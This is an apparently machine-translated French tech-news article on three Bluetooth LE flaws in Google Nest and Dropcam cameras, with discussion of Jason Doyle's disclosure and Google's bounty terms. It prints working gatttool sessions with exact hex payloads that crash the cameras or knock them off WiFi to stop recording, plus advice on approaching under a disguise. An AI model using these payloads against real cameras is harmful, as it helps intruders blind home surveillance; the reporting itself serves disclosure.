L'intelligence artificielle pour détecter les personnes Google AI Nest Outdoor Cam ne sauve pas d'un piratage facileLa protection la plus high-tech n'est pas toujours la meilleure. En ajoutant de la complexité au système, vous ajoutez de nouveaux vecteurs d'attaque. Il arrive qu'il soit plus facile pour les pirates de l'air de voler les
voitures les plus chères et les plus modernes
avec des clés radio que les anciennes "choses de fer". À peu près la même chose avec la sécurité dans d'autres domaines.
Les caméras de surveillance Google Nest de luxe - Dropcam, Dropcam Pro, Nest Cam Outdoor et Nest Cam ont également été victimes de crackers. Le code pour les pirater a déjà été
publié sur GitHub , et Google n'a pas encore publié de correctifs. Vous pouvez vous entraîner à éteindre vos caméras de surveillance dès aujourd'hui (les vôtres, bien sûr).
Des informations sur trois vulnérabilités ont été publiées, elles prévoient toutes une connexion à la caméra via Bluetooth 4.0 LE (selon les spécifications, la portée est d'environ 100 m). Le Bluetooth fonctionne toujours dans ces caméras, c'est-à-dire qu'il est généralement impossible de le désactiver même pour le propriétaire.
La première vulnérabilité est le débordement de tampon avec l'option SSID sur Bluetooth. Pour provoquer un débordement de tampon, vous devez essayer de définir un nouveau paramètre SSID avec des caractéristiques incorrectes sur la caméra.
Voici un exemple de connexion à la caméra et de définition de la longueur SSID de 1 et 16 octets à la fois.
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a031201AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.En conséquence, la caméra s'éteint, redémarre après une erreur et revient à son état de fonctionnement normal.
La seconde vulnérabilité est similaire à la première, seulement ici le débordement de tampon est provoqué par l'envoi d'un mot de passe de mauvaise longueur (dans ce cas, trois octets et un octet). Le résultat est le même - la caméra redémarre après une erreur avec le retour en condition de travail.
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b506574536d6172742d356e1a01AAAAAA
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3b
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>
(gatttool:20352): GLib-WARNING **: Invalid file descriptor.La troisième vulnérabilité est plus intéressante. Il vous permet de déconnecter temporairement la caméra du réseau WiFi, en lui passant un nouveau SSID pour la connexion. Dans ces caméras, la vidéo locale n'est pas disponible, donc la caméra transfère tout via le WiFi - l'archive entière est stockée dans le service cloud. Par conséquent, lors de la déconnexion du réseau, l'enregistrement vidéo ne sera pas sauvegardé. Il faut environ 60 à 90 secondes pour que la caméra revienne en service après un tel piratage et reprenne l'enregistrement vidéo. En principe, ce n'est pas un intervalle aussi long, mais le hack peut être bouclé pendant la période de temps nécessaire.
anon@ubuntu:~/nest$ gatttool -b 18:B4:30:5D:00:B8 -t random -I
[18:B4:30:5D:00:B8][LE]> connect
Attempting to connect to 18:B4:30:5D:00:B8
Connection successful
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3a03120b0a6574536d6172742d356e1a20232320
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3becb824ba437c13233ac2ff78b1776456e47a01
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3ca5787d2f5e53f394a512200228003210bc9253
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3d48cada7a0d921d57b2d26ae89c3a04DEADBEEF
[18:B4:30:5D:00:B8][LE]> char-write-req 0xfffd 3e
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
Characteristic value was written successfully
[18:B4:30:5D:00:B8][LE]>Notez que dans tous les exemples de connexion à la caméra, vous devez connaître son adresse MAC (18: B4: 30: 5D: 00: B8). Il est simplement écrit sur le corps de la caméra, donc dans la pratique pour le piratage, vous devrez d'abord approcher la caméra à une distance assez proche. Par exemple, sous le couvert d'une tondeuse à gazon, d'un réparateur ou d'un ami d'une future victime.
L'une des photos de Nest Outdoor Cam montre que l'adresse MAC est inscrite sur le corps de la caméra (ligne au-dessus du code QR). Les développeurs l'ont prudemment caché derrière un câble d'alimentationTrois vulnérabilités dans les caméras sont présentes dans le dernier firmware de la caméra (5.2.1). Le spécialiste de la sécurité Jason Doyle les a trouvés l'automne dernier. Il dit qu'il a fait rapport à Google le 26 octobre 2016. Il semble donc que le moment de la divulgation soit venu pour tout le monde. C'est une pratique courante si le fabricant n'est pas pressé ou n'a pas le temps de corriger les bogues dans un délai raisonnable. Dans ce cas, près de cinq mois se sont écoulés.
Google récompense généralement les chercheurs pour avoir trouvé des vulnérabilités dans leurs produits.
La récompense de vulnérabilité de Google s'étend également aux caméscopes Nest. Certes, Nest est dans la troisième catégorie la plus prestigieuse, où la récompense maximale n'est que de 5 000 $ (pour le reste des produits - 31 337 $). De plus, dans cette troisième catégorie, il y a une note spéciale sur une période de silence de six mois. Bien que Google lui-même ait récemment révélé le 0day activement exploité sur Windows et Edge après 90 jours (
1 ,
2 ).
Jason Doyle n'a pas pu supporter la période de six mois (du 26 octobre au 17 mars), il ne pourra donc pas réclamer le prix. Contrairement à la pratique habituelle, Google n'a pas informé le chercheur des délais approximatifs de fermeture de la vulnérabilité et n'a pas pris en charge la correspondance avec lui. Dans le même temps, une source proche de la situation a
déclaré à The Register que le patch était presque prêt, donc Jason ne pouvait pas tolérer une grande partie de sa récompense.
Soit dit en passant, certaines autres caméras de surveillance similaires désactivent le Bluetooth lorsqu'une connexion Wi-Fi est établie, de sorte qu'elles ne pourront pas se fissurer de cette manière (par exemple, Logitech Circle). Google pourrait également opter pour cette astuce simple pour se débarrasser de ce type de vulnérabilité.